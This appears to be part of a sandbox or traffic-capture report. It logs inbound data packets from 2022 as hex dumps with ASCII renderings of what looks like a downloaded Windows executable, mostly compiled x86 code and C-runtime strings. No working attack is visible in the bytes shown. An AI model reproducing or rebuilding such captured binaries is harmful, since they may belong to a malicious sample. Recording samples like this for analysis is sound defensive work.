2022-08-30 13:56:29 UTC	955	IN	Data Raw: 07 ff 34 03 ff 15 90 e0 40 00 85 c0 0f 84 25 03 00 00 8b 45 b0 01 45 a0 3b c6 0f 8c 20 03 00 00 83 7d 88 00 0f 84 9f 00 00 00 6a 00 8d 45 b0 50 6a 01 8d 85 0c 05 00 00 50 8b 07 c6 85 0c 05 00 00 0d ff 34 03 ff 15 90 e0 40 00 85 c0 0f 84 e4 02 00 00 83 7d b0 01 0f 8c e3 02 00 00 ff 45 98 ff 45 a0 eb 64 3c 01 74 04 3c 02 75 1b 0f b7 0e 33 d2 66 83 f9 0a 0f 94 c2 46 46 83 45 a4 02 89 4d ac 89 75 8c 89 55 88 3c 01 74 04 3c 02 75 39 ff 75 ac e8 e7 15 00 00 66 3b 45 ac 59 0f 85 94 02 00 00 ff 45 a0 83 7d 88 00 74 1d 6a 0d 58 50 89 45 ac e8 c7 15 00 00 66 3b 45 ac 59 0f 85 74 02 00 00 ff 45 a0 ff 45 98 8b 85 28 05 00 00 39 45 a4 0f 82 79 fe ff ff e9 63 02 00 00 8b 07 03 c3 f6 40 04 80 0f 84 25 02 00 00 8b 45 9c 33 f6 80 7d ab 00 89 75 ac 0f 85 91 00 00 00 39 b5 Data Ascii: 4@%EE; }jEPjP4@}EEd<t<u3fFFEMuU<t<u9uf;EYE}tjXPEf;EYtEE(9Eyc@%E3}u9
2022-08-30 13:56:29 UTC	956	IN	Data Raw: fe ff ff ff e8 09 00 00 00 8b 45 e4 e8 f2 a6 ff ff c3 ff 75 08 e8 8a 14 00 00 59 c3 8b 44 24 04 85 c0 74 12 83 e8 08 81 38 dd dd 00 00 75 07 50 e8 8f 93 ff ff 59 c3 55 8b ec 83 ec 14 a1 20 10 41 00 33 c5 89 45 fc 53 56 33 db 39 1d f0 2d 41 00 57 8b f1 75 38 53 53 33 ff 47 57 68 48 f1 40 00 68 00 01 00 00 53 ff 15 24 e1 40 00 85 c0 74 08 89 3d f0 2d 41 00 eb 15 ff 15 40 e0 40 00 83 f8 78 75 0a c7 05 f0 2d 41 00 02 00 00 00 39 5d 14 7e 22 8b 4d 14 8b 45 10 49 38 18 74 08 40 3b cb 75 f6 83 c9 ff 8b 45 14 2b c1 48 3b 45 14 7d 01 40 89 45 14 a1 f0 2d 41 00 83 f8 02 0f 84 ab 01 00 00 3b c3 0f 84 a3 01 00 00 83 f8 01 0f 85 cb 01 00 00 39 5d 20 89 5d f8 75 08 8b 06 8b 40 04 89 45 20 8b 35 00 e0 40 00 33 c0 39 5d 24 53 53 ff 75 14 0f 95 c0 ff 75 10 8d 04 c5 01 00 Data Ascii: EuYD$t8uPYU A3ESV39-AWu8SS3GWhH@hS$@t=-A@@xu-A9]~"MEI8t@;uE+H;E}@E-A;9] ]u@E 5@39]$SSuu
2022-08-30 13:56:29 UTC	957	IN	Data Raw: 89 45 1c 39 5d 18 75 08 8b 07 8b 40 04 89 45 18 ff 75 1c e8 55 0f 00 00 83 f8 ff 59 75 04 33 c0 eb 47 3b 45 18 74 1e 53 53 8d 4d 10 51 ff 75 0c 50 ff 75 18 e8 7b 0f 00 00 8b f0 83 c4 18 3b f3 74 dc 89 75 0c ff 75 14 ff 75 10 ff 75 0c ff 75 08 ff 75 1c ff 15 28 e1 40 00 3b f3 8b f8 74 07 56 e8 05 8e ff ff 59 8b c7 8d 65 ec 5f 5e 5b 8b 4d fc 33 cd e8 e3 8d ff ff c9 c3 55 8b ec 83 ec 10 ff 75 08 8d 4d f0 e8 30 aa ff ff ff 75 24 8d 4d f0 ff 75 20 ff 75 1c ff 75 18 ff 75 14 ff 75 10 ff 75 0c e8 1a fe ff ff 83 c4 1c 80 7d fc 00 74 07 8b 4d f8 83 61 70 fd c9 c3 56 8b 74 24 08 85 f6 0f 84 81 01 00 00 ff 76 04 e8 9b 8d ff ff ff 76 08 e8 93 8d ff ff ff 76 0c e8 8b 8d ff ff ff 76 10 e8 83 8d ff ff ff 76 14 e8 7b 8d ff ff ff 76 18 e8 73 8d ff ff ff 36 e8 6c 8d ff ff Data Ascii: E9]u@EuUYu3G;EtSSMQuPu{;tuuuuuu(@;tVYe_^[M3UuM0u$Mu uuuuu}tMapVt$vvvvv{vs6l
2022-08-30 13:56:29 UTC	959	IN	Data Raw: 85 c0 59 8b 4c 24 04 89 41 08 74 0d 83 49 0c 08 c7 41 18 00 10 00 00 eb 11 83 49 0c 04 8d 41 14 89 41 08 c7 41 18 02 00 00 00 8b 41 08 83 61 04 00 89 01 c3 6a 02 e8 e1 b0 ff ff 59 c3 55 8b ec 83 ec 14 56 57 ff 75 08 8d 4d ec e8 13 a5 ff ff 8b 45 10 8b 75 0c 33 ff 3b c7 74 02 89 30 3b f7 75 2c e8 06 8e ff ff 57 57 57 57 57 c7 00 16 00 00 00 e8 88 a2 ff ff 83 c4 14 80 7d f8 00 74 07 8b 45 f4 83 60 70 fd 33 c0 e9 d6 01 00 00 39 7d 14 74 0c 83 7d 14 02 7c c9 83 7d 14 24 7f c3 8b 4d ec 53 8a 1e 89 7d fc 8d 7e 01 83 b9 ac 00 00 00 01 7e 17 8d 45 ec 50 0f b6 c3 6a 08 50 e8 7d 0b 00 00 8b 4d ec 83 c4 0c eb 10 8b 91 c8 00 00 00 0f b6 c3 0f b6 04 42 83 e0 08 85 c0 74 05 8a 1f 47 eb c7 80 fb 2d 75 06 83 4d 18 02 eb 05 80 fb 2b 75 03 8a 1f 47 8b 45 14 85 c0 0f 8c 49 Data Ascii: YL$AtIAIAAAAajYUVWuMEu3;t0;u,WWWWW}tE`p39}t}\|}$MS}~~EPjP}MBtG-uM+uGEI
2022-08-30 13:56:29 UTC	960	IN	Data Raw: 85 ff 8b 04 85 00 33 41 00 59 c6 44 30 04 00 74 0c 57 e8 23 89 ff ff 59 83 c8 ff eb 02 33 c0 5f 5e c3 6a 10 68 a0 02 41 00 e8 85 96 ff ff 8b 45 08 83 f8 fe 75 1b e8 ec 88 ff ff 83 20 00 e8 d1 88 ff ff c7 00 09 00 00 00 83 c8 ff e9 8e 00 00 00 33 ff 3b c7 7c 08 3b 05 f4 32 41 00 72 21 e8 c3 88 ff ff 89 38 e8 a9 88 ff ff c7 00 09 00 00 00 57 57 57 57 57 e8 2b 9d ff ff 83 c4 14 eb c9 8b c8 c1 f9 05 8d 1c 8d 00 33 41 00 8b f0 83 e6 1f 6b f6 28 8b 0b 0f b6 4c 31 04 83 e1 01 74 bf 50 e8 53 03 00 00 59 89 7d fc 8b 03 f6 44 30 04 01 74 0e ff 75 08 e8 d3 fe ff ff 59 89 45 e4 eb 0f e8 4e 88 ff ff c7 00 09 00 00 00 83 4d e4 ff c7 45 fc fe ff ff ff e8 09 00 00 00 8b 45 e4 e8 14 96 ff ff c3 ff 75 08 e8 ac 03 00 00 59 c3 56 8b 74 24 08 8b 46 0c a8 83 74 1e a8 08 74 1a Data Ascii: 3AYD0tW#Y3_^jhAEu 3;\|;2Ar!8WWWWW+3Ak(L1tPSY}D0tuYENMEEuYVt$Ftt
2022-08-30 13:56:29 UTC	961	IN	Data Raw: 38 30 30 30 0d 0a c9 c3 55 8b ec 83 ec 34 a1 20 10 41 00 33 c5 89 45 fc 8b 45 10 8b 4d 18 89 45 d8 8b 45 14 53 89 45 d0 8b 00 56 89 45 dc 8b 45 08 57 33 ff 3b 45 0c 89 4d cc 89 7d e0 89 7d d4 0f 84 5f 01 00 00 8b 35 00 e1 40 00 8d 4d e8 51 50 ff d6 85 c0 8b 1d 00 e0 40 00 74 5e 83 7d e8 01 75 58 8d 45 e8 50 ff 75 0c ff d6 85 c0 74 4b 83 7d e8 01 75 45 8b 75 dc 83 fe ff c7 45 d4 01 00 00 00 75 0c ff 75 d8 e8 44 d1 ff ff 8b f0 59 46 3b f7 7e 5b 81 fe f0 ff ff 7f 77 53 8d 44 36 08 3d 00 04 00 00 77 2f e8 14 01 00 00 8b c4 3b c7 74 38 c7 00 cc cc 00 00 eb 2d 57 57 ff 75 dc ff 75 d8 6a 01 ff 75 08 ff d3 8b f0 3b f7 75 c3 33 c0 e9 d1 00 00 00 50 e8 8d d4 ff ff 3b c7 59 74 09 c7 00 dd dd 00 00 83 c0 08 89 45 e4 eb 03 89 7d e4 39 7d e4 74 d8 8d 04 36 50 57 ff 75 Data Ascii: 8000U4 A3EEMEESEVEEW3;EM}}_5@MQP@t^}uXEPutK}uEuEuuDYF;~[wSD6=w/;t8-WWuuju;u3P;YtE}9}t6PWu
2022-08-30 13:56:29 UTC	962	IN	Data Raw: c0 c3 8b 42 fc 3a c3 74 36 84 c0 74 ef 3a e3 74 27 84 e4 74 e7 c1 e8 10 3a c3 74 15 84 c0 74 dc 3a e3 74 06 84 e4 74 d4 eb 96 5e 5f 8d 42 ff 5b c3 8d 42 fe 5e 5f 5b c3 8d 42 fd 5e 5f 5b c3 8d 42 fc 5e 5f 5b c3 55 8b ec 83 ec 0c a1 20 10 41 00 33 c5 89 45 fc 56 33 f6 ff 15 1c e0 40 00 6a 07 8d 4d f4 51 68 04 10 00 00 50 ff 15 30 e1 40 00 85 c0 74 1f 8a 4d f4 84 c9 8d 45 f4 74 15 6b f6 0a 0f be c9 40 8d 74 0e d0 8a 08 84 c9 75 ef 85 f6 75 08 ff 15 04 e1 40 00 8b f0 8b 4d fc 8b c6 33 cd 5e e8 ae 78 ff ff c9 c3 6a 03 58 c3 55 8b ec 81 ec 98 00 00 00 a1 20 10 41 00 33 c5 89 45 fc 8d 85 68 ff ff ff 50 c7 85 68 ff ff ff 94 00 00 00 ff 15 48 e0 40 00 83 bd 78 ff ff ff 02 75 0e 83 bd 6c ff ff ff 05 b8 13 a3 40 00 73 05 b8 ae a2 40 00 50 68 60 1f 41 00 ff 15 10 e1 Data Ascii: B:t6t:t't:tt:tt^_B[B^_[B^_[B^_[U A3EV3@jMQhP0@tMEtk@tuu@M3^xjXU A3EhPhH@xul@s@Ph`A
2022-08-30 13:56:29 UTC	964	IN	Data Raw: 00 8b 12 8a 12 3a ca 74 07 40 8a 08 84 c9 75 f5 8a 08 40 84 c9 74 36 eb 0b 80 f9 65 74 0c 80 f9 45 74 07 40 8a 08 84 c9 75 ef 8b d0 48 80 38 30 74 fa 8b 8e bc 00 00 00 8b 09 53 8a 18 3a 19 5b 75 01 48 8a 0a 40 42 84 c9 88 08 75 f6 80 7d fc 00 5e 74 07 8b 45 f8 83 60 70 fd c9 c3 d9 ee 8b 44 24 04 dc 18 df e0 f6 c4 41 7a 04 33 c0 40 c3 33 c0 c3 55 8b ec 51 51 83 7d 08 00 ff 75 14 ff 75 10 74 19 8d 45 f8 50 e8 5f 0a 00 00 8b 4d f8 8b 45 0c 89 08 8b 4d fc 89 48 04 eb 11 8d 45 08 50 e8 ec 0a 00 00 8b 45 0c 8b 4d 08 89 08 83 c4 0c c9 c3 6a 00 ff 74 24 10 ff 74 24 10 ff 74 24 10 e8 ad ff ff ff 83 c4 10 c3 85 ff 56 8b f0 74 14 56 e8 48 c6 ff ff 40 50 56 03 f7 56 e8 6d b0 ff ff 83 c4 10 5e c3 6a 00 ff 74 24 08 e8 7a fe ff ff 59 59 c3 6a 00 ff 74 24 08 e8 dd fe ff Data Ascii: :t@u@t6etEt@uH80tS:[uH@Bu}^tE`pD$Az3@3UQQ}uutEP_MEMHEPEMjt$t$t$VtVH@PVVm^jt$zYYjt$
2022-08-30 13:56:29 UTC	965	IN	Data Raw: c3 8b 4d f8 83 6d fc 04 88 06 8b 45 f4 0f ac c8 04 c1 e9 04 46 ff 4d 14 66 83 7d fc 00 89 45 f4 89 4d f8 7d ad 66 83 7d fc 00 7c 51 8b 57 04 23 55 f8 8b 07 0f bf 4d fc 23 45 f4 81 e2 ff ff 0f 00 e8 80 09 00 00 66 3d 08 00 76 31 8d 46 ff 8a 08 80 f9 66 74 05 80 f9 46 75 06 c6 00 30 48 eb ee 3b 45 0c 74 14 8a 08 80 f9 39 75 07 80 c3 3a 88 18 eb 09 fe c1 88 08 eb 03 fe 40 ff 83 7d 14 00 7e 11 ff 75 14 6a 30 56 e8 28 83 ff ff 83 c4 0c 03 75 14 8b 45 0c 80 38 00 75 02 8b f0 83 7d 18 00 b1 34 0f 94 c0 fe c8 24 e0 04 70 88 06 8b 07 8b 57 04 46 e8 0c 09 00 00 33 db 25 ff 07 00 00 23 d3 2b 45 ec 53 59 1b d1 78 0c 7f 04 3b c3 72 06 c6 06 2b 46 eb 0a c6 06 2d 46 f7 d8 13 d3 f7 da 3b d3 8b fe c6 06 30 7c 24 b9 e8 03 00 00 7f 04 3b c1 72 19 53 51 52 50 e8 e7 07 00 00 Data Ascii: MmEFMf}EM}f}\|QW#UM#Ef=v1FftFu0H;Et9u:@}~uj0V(uE8u}4$pWF3%#+ESYx;r+F-F;0\|$;rSQRP
2022-08-30 13:56:29 UTC	966	IN	Data Raw: 33 c0 c3 cc cc cc cc cc cc cc cc cc cc 55 8b ec 57 8b 7d 08 33 c0 83 c9 ff f2 ae 83 c1 01 f7 d9 83 ef 01 8a 45 0c fd f2 ae 83 c7 01 38 07 74 04 33 c0 eb 02 8b c7 fc 5f c9 c3 55 8b ec 83 ec 28 a1 20 10 41 00 33 c5 89 45 fc 53 56 8b 75 08 57 ff 75 10 8b 7d 0c 8d 4d dc e8 4e 85 ff ff 8d 45 dc 50 33 db 53 53 53 53 57 8d 45 d8 50 8d 45 f0 50 e8 04 0f 00 00 89 45 ec 8d 45 f0 56 50 e8 73 04 00 00 83 c4 28 f6 45 ec 03 75 2b 83 f8 01 75 11 38 5d e8 74 07 8b 45 e4 83 60 70 fd 6a 03 58 eb 2f 83 f8 02 75 1c 38 5d e8 74 07 8b 45 e4 83 60 70 fd 6a 04 eb e8 f6 45 ec 01 75 ea f6 45 ec 02 75 ce 38 5d e8 74 07 8b 45 e4 83 60 70 fd 33 c0 8b 4d fc 5f 5e 33 cd 5b e8 6e 68 ff ff c9 c3 55 8b ec 83 ec 28 a1 20 10 41 00 33 c5 89 45 fc 53 56 8b 75 08 57 ff 75 10 8b 7d 0c 8d 4d dc Data Ascii: 3UW}3E8t3_U( A3ESVuWu}MNEP3SSSSWEPEPEEVPs(Eu+u8]tE`pjX/u8]tE`pjEuEu8]tE`p3M_^3[nhU( A3ESVuWu}M
2022-08-30 13:56:29 UTC	968	IN	Data Raw: ab 58 e9 95 04 00 00 83 65 08 00 56 8d 75 e0 8d 7d d4 a5 a5 a5 8b 35 b8 1f 41 00 4e 8d 4e 01 8b c1 99 83 e2 1f 03 c2 c1 f8 05 8b d1 81 e2 1f 00 00 80 89 5d f0 89 45 f4 79 05 4a 83 ca e0 42 8d 7c 85 e0 6a 1f 33 c0 59 2b ca 40 d3 e0 89 4d f8 85 07 0f 84 8d 00 00 00 8b 45 f4 83 ca ff d3 e2 f7 d2 85 54 85 e0 eb 05 83 7c 85 e0 00 75 08 40 83 f8 03 7c f3 eb 6e 8b c6 99 6a 1f 59 23 d1 03 c2 c1 f8 05 81 e6 1f 00 00 80 79 05 4e 83 ce e0 46 83 65 fc 00 2b ce 33 d2 42 d3 e2 8d 4c 85 e0 8b 31 03 f2 89 75 08 8b 31 39 75 08 72 22 39 55 08 eb 1b 85 c9 74 2b 83 65 fc 00 8d 4c 85 e0 8b 11 8d 72 01 3b f2 89 75 08 72 05 83 fe 01 73 07 c7 45 fc 01 00 00 00 48 8b 55 08 89 11 8b 4d fc 79 d1 89 4d 08 8b 4d f8 83 c8 ff d3 e0 21 07 8b 45 f4 40 83 f8 03 7d 0d 6a 03 59 8d 7c 85 e0 Data Ascii: XeVu}5ANN]EyJB\|j3Y+@MET\|u@\|njY#yNFe+3BL1u19ur"9Ut+eLr;ursEHUMyMM!E@}jY\|
2022-08-30 13:56:29 UTC	969	IN	Data Raw: d0 1f 41 00 4e 8d 4e 01 8b c1 99 83 e2 1f 03 c2 c1 f8 05 8b d1 81 e2 1f 00 00 80 89 5d f0 89 45 f4 79 05 4a 83 ca e0 42 8d 7c 85 e0 6a 1f 33 c0 59 2b ca 40 d3 e0 89 4d f8 85 07 0f 84 8d 00 00 00 8b 45 f4 83 ca ff d3 e2 f7 d2 85 54 85 e0 eb 05 83 7c 85 e0 00 75 08 40 83 f8 03 7c f3 eb 6e 8b c6 99 6a 1f 59 23 d1 03 c2 c1 f8 05 81 e6 1f 00 00 80 79 05 4e 83 ce e0 46 83 65 fc 00 2b ce 33 d2 42 d3 e2 8d 4c 85 e0 8b 31 03 f2 89 75 08 8b 31 39 75 08 72 22 39 55 08 eb 1b 85 c9 74 2b 83 65 fc 00 8d 4c 85 e0 8b 11 8d 72 01 3b f2 89 75 08 72 05 83 fe 01 73 07 c7 45 fc 01 00 00 00 48 8b 55 08 89 11 8b 4d fc 79 d1 89 4d 08 8b 4d f8 83 c8 ff d3 e0 21 07 8b 45 f4 40 83 f8 03 7d 0d 6a 03 59 8d 7c 85 e0 2b c8 33 c0 f3 ab 83 7d 08 00 74 01 43 a1 cc 1f 41 00 8b c8 2b 0d d0 Data Ascii: ANN]EyJB\|j3Y+@MET\|u@\|njY#yNFe+3BL1u19ur"9Ut+eLr;ursEHUMyMM!E@}jY\|+3}tCA+
2022-08-30 13:56:29 UTC	970	IN	Data Raw: ff 24 8d 81 c8 40 00 8a c8 80 e9 31 80 f9 08 77 06 6a 03 59 4a eb dd 8b 4d 24 8b 09 8b 89 bc 00 00 00 8b 09 3a 01 75 05 6a 05 59 eb c7 0f be c0 83 e8 2b 74 1d 48 48 74 0d 83 e8 03 0f 85 8b 01 00 00 8b ce eb ae 6a 02 59 c7 45 8c 00 80 00 00 eb a2 83 65 8c 00 6a 02 59 eb 99 8a c8 80 e9 31 80 f9 08 89 75 a8 76 a9 8b 4d 24 8b 09 8b 89 bc 00 00 00 8b 09 3a 01 75 04 6a 04 eb ad 3c 2b 74 28 3c 2d 74 24 3a c3 74 b9 3c 43 0f 8e 3c 01 00 00 3c 45 7e 10 3c 63 0f 8e 30 01 00 00 3c 65 0f 8f 28 01 00 00 6a 06 eb 81 4a 6a 0b e9 79 ff ff ff 8a c8 80 e9 31 80 f9 08 0f 86 52 ff ff ff 8b 4d 24 8b 09 8b 89 bc 00 00 00 8b 09 3a 01 0f 84 54 ff ff ff 3a c3 0f 84 66 ff ff ff 8b 55 ac e9 14 01 00 00 89 75 a8 eb 1a 3c 39 7f 1a 83 7d b4 19 73 0a ff 45 b4 2a c3 88 07 47 eb 03 ff 45 Data Ascii: $@1wjYJM$:ujY+tHHtjYEejY1uvM$:uj<+t(<-t$:t<C<<E~<c0<e(jJjy1RM$:T:fUu<9}sE*GE
2022-08-30 13:56:29 UTC	972	IN	Data Raw: 1c 66 8b 4d d6 66 89 4d c4 8b 4d d8 89 4d c6 8b 4d dc 0b f8 89 4d ca 66 89 7d ce eb 1a 66 f7 d8 1b c0 83 65 c8 00 25 00 00 00 80 05 00 80 ff 7f 83 65 c4 00 89 45 cc 83 7d ac 00 0f 85 6c fd ff ff 8b 45 cc 0f b7 4d c4 8b 75 c6 8b 55 ca c1 e8 10 eb 2f c7 45 94 04 00 00 00 eb 1e 33 f6 b8 ff 7f 00 00 ba 00 00 00 80 33 c9 c7 45 94 02 00 00 00 eb 0f c7 45 94 01 00 00 00 33 c9 33 c0 33 d2 33 f6 8b 7d 84 0b 45 8c 66 89 0f 66 89 47 0a 8b 45 94 89 77 02 89 57 06 8b 4d fc 5f 5e 33 cd 5b e8 43 53 ff ff c9 c3 8d 49 00 85 c2 40 00 d9 c2 40 00 2f c3 40 00 62 c3 40 00 a7 c3 40 00 df c3 40 00 f3 c3 40 00 4e c4 40 00 39 c4 40 00 b8 c4 40 00 ad c4 40 00 5c c4 40 00 55 8b ec 83 ec 74 a1 20 10 41 00 33 c5 89 45 fc 53 8b 5d 1c 56 57 8d 75 08 8d 7d f0 a5 a5 66 a5 8b 55 f8 8b ca Data Ascii: fMfMMMMMf}fe%eE}lEMuU/E33EE3333}EffGEwWM_^3[CSI@@/@b@@@@N@9@@@\@Ut A3ES]VWu}fU
2022-08-30 13:56:29 UTC	973	IN	Data Raw: ce 33 ca 23 d3 23 f3 81 e1 00 80 00 00 66 3b d3 8d 3c 16 89 45 a8 89 45 f0 89 45 f4 89 45 f8 0f b7 ff 0f 83 fe 01 00 00 66 3b f3 0f 83 f5 01 00 00 66 81 ff fd bf 0f 87 ea 01 00 00 66 81 ff bf 3f 77 08 89 45 e8 e9 ef 01 00 00 66 3b d0 75 1d 47 f7 45 e8 ff ff ff 7f 75 13 39 45 e4 75 0e 39 45 e0 75 09 66 89 45 ea e9 d3 01 00 00 66 3b f0 75 14 47 f7 45 d8 ff ff ff 7f 75 0a 39 45 d4 75 05 39 45 d0 74 bd 83 65 ac 00 8d 45 f4 c7 45 c0 05 00 00 00 8b 55 ac 8b 75 c0 03 d2 85 f6 89 75 b0 7e 52 8d 75 d8 8d 54 15 e0 89 75 a4 89 55 b8 8b 55 a4 8b 75 b8 0f b7 36 0f b7 12 83 65 bc 00 0f af d6 8b 70 fc 8d 1c 16 3b de 72 04 3b da 73 07 c7 45 bc 01 00 00 00 83 7d bc 00 89 58 fc 74 03 66 ff 00 83 45 b8 02 83 6d a4 02 ff 4d b0 83 7d b0 00 7f bb 40 40 ff 45 ac ff 4d c0 83 7d Data Ascii: 3##f;<EEEEf;ff?wEf;uGEu9Eu9EufEf;uGEu9Eu9EteEEUuu~RuTuUUu6ep;r;sE}XtfEmM}@@EM}
2022-08-30 13:56:29 UTC	974	IN	Data Raw: 74 16 81 fa 00 00 00 02 74 0a 3b d1 75 0f 0d 00 80 00 00 c3 83 c8 40 c3 0d 40 80 00 00 c3 83 ec 10 53 55 56 57 9b d9 7c 24 14 8b 5c 24 14 33 d2 f6 c3 01 74 03 6a 10 5a f6 c3 04 74 03 83 ca 08 f6 c3 08 74 03 83 ca 04 f6 c3 10 74 03 83 ca 02 f6 c3 20 74 03 83 ca 01 f6 c3 02 74 06 81 ca 00 00 08 00 0f b7 cb 8b c1 bf 00 0c 00 00 23 c7 bd 00 03 00 00 be 00 02 00 00 74 20 3d 00 04 00 00 74 13 3d 00 08 00 00 74 08 3b c7 75 0e 0b d5 eb 0a 0b d6 eb 06 81 ca 00 01 00 00 23 cd 74 0c 3b ce 75 0e 81 ca 00 00 01 00 eb 06 81 ca 00 00 02 00 66 f7 c3 00 10 74 06 81 ca 00 00 04 00 8b 74 24 28 8b 4c 24 24 8b c6 f7 d0 23 c2 23 ce 0b c1 3b c2 89 44 24 1c 0f 84 aa 00 00 00 8b d8 e8 0d fe ff ff 0f b7 c0 89 44 24 10 d9 6c 24 10 9b d9 7c 24 10 8b 5c 24 10 33 d2 f6 c3 01 74 03 6a Data Ascii: tt;u@@SUVW\|$\$3tjZttt tt#t =t=t;u#t;uftt$(L$$##;D$D$l$\|$\$3tj
2022-08-30 13:56:29 UTC	979	IN	Data Raw: 65 20 6c 69 62 72 61 72 79 20 69 6e 63 6f 72 72 65 63 74 6c 79 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 61 70 70 6c 69 63 61 74 69 6f 6e 27 73 20 73 75 70 70 6f 72 74 20 74 65 61 6d 20 66 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 2e 0d 0a 00 00 00 00 00 00 52 36 30 33 33 0d 0a 2d 20 41 74 74 65 6d 70 74 20 74 6f 20 75 73 65 20 4d 53 49 4c 20 63 6f 64 65 20 66 72 6f 6d 20 74 68 69 73 20 61 73 73 65 6d 62 6c 79 20 64 75 72 69 6e 67 20 6e 61 74 69 76 65 20 63 6f 64 65 20 69 6e 69 74 69 61 6c 69 7a 61 74 69 6f 6e 0a 54 68 69 73 20 69 6e 64 69 63 61 74 65 73 20 61 20 62 75 67 20 69 6e 20 79 6f 75 72 20 61 70 70 6c 69 63 61 74 69 6f 6e 2e 20 49 74 20 69 73 20 6d 6f 73 74 20 6c 69 6b 65 6c 79 20 74 68 65 20 72 65 73 75 6c 74 Data Ascii: e library incorrectly.Please contact the application's support team for more information.R6033- Attempt to use MSIL code from this assembly during native code initializationThis indicates a bug in your application. It is most likely the result
2022-08-30 13:56:29 UTC	983	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 68 00 28 00 28 00 28 00 28 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 Data Ascii: h((((
2022-08-30 13:56:29 UTC	987	IN	Data Raw: ec 06 01 00 fa 06 01 00 08 07 01 00 16 07 01 00 2e 07 01 00 46 07 01 00 5e 07 01 00 6e 07 01 00 7c 07 01 00 90 07 01 00 9e 07 01 00 aa 07 01 00 ba 07 01 00 d0 07 01 00 e6 07 01 00 00 08 01 00 18 08 01 00 32 08 01 00 4c 08 01 00 5e 08 01 00 70 08 01 00 82 08 01 00 90 08 01 00 a2 08 01 00 b0 08 01 00 bc 08 01 00 ca 08 01 00 d4 08 01 00 ec 08 01 00 fc 08 01 00 12 09 01 00 2a 09 01 00 44 09 01 00 54 09 01 00 6a 09 01 00 84 09 01 00 a0 09 01 00 a8 09 01 00 b4 09 01 00 c0 09 01 00 ca 09 01 00 d6 09 01 00 ec 09 01 00 02 0a 01 00 12 0a 01 00 24 0a 01 00 38 0a 01 00 48 0a 01 00 58 0a 01 00 6a 0a 01 00 7c 0a 01 00 00 00 00 00 18 00 00 80 17 00 00 80 13 00 00 80 14 00 00 80 11 00 00 80 0a 00 00 80 09 00 00 80 08 00 00 80 96 00 00 80 95 00 00 80 02 00 00 80 06 00 00 Data Ascii: .F^n\|2L^p*DTj$8HXj\|
2022-08-30 13:56:29 UTC	991	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e2 40 00 f8 e1 40 00 d8 e1 40 00 00 00 00 00 65 46 40 00 00 00 00 00 02 00 00 00 b8 e7 40 00 08 00 00 00 8c e7 40 00 09 00 00 00 60 e7 40 00 0a 00 00 00 c8 e6 40 00 10 00 00 00 9c e6 40 00 11 00 00 00 6c e6 40 00 12 00 00 00 48 e6 40 00 13 00 00 00 1c e6 40 00 18 00 00 00 Data Ascii: @@@eF@@@`@@@l@H@@
2022-08-30 13:56:29 UTC	993	IN	Data Raw: 38 30 30 30 0d 0a 00 00 00 00 00 00 00 00 00 00 00 50 f2 40 00 52 f4 40 00 80 fa 40 00 7c fa 40 00 78 fa 40 00 74 fa 40 00 70 fa 40 00 6c fa 40 00 68 fa 40 00 60 fa 40 00 58 fa 40 00 50 fa 40 00 44 fa 40 00 38 fa 40 00 30 fa 40 00 24 fa 40 00 20 fa 40 00 1c fa 40 00 18 fa 40 00 14 fa 40 00 10 fa 40 00 0c fa 40 00 08 fa 40 00 04 fa 40 00 00 fa 40 00 fc f9 40 00 f8 f9 40 00 f4 f9 40 00 ec f9 40 00 e0 f9 40 00 d8 f9 40 00 d0 f9 40 00 10 fa 40 00 c8 f9 40 00 c0 f9 40 00 b8 f9 40 00 ac f9 40 00 a4 f9 40 00 98 f9 40 00 8c f9 40 00 88 f9 40 00 84 f9 40 00 78 f9 40 00 64 f9 40 00 58 f9 40 00 09 04 00 00 01 00 00 00 00 00 00 00 28 1d 41 00 2e 00 00 00 e4 1d 41 00 f8 2d 41 00 f8 2d 41 00 f8 2d 41 00 f8 2d 41 00 f8 2d 41 00 f8 2d 41 00 f8 2d 41 00 f8 2d 41 00 f8 2d Data Ascii: 8000P@R@@\|@x@t@p@l@h@`@X@P@D@8@0@$@ @@@@@@@@@@@@@@@@@@@@@@@@@@x@d@X@(A.A-A-A-A-A-A-A-A-A-
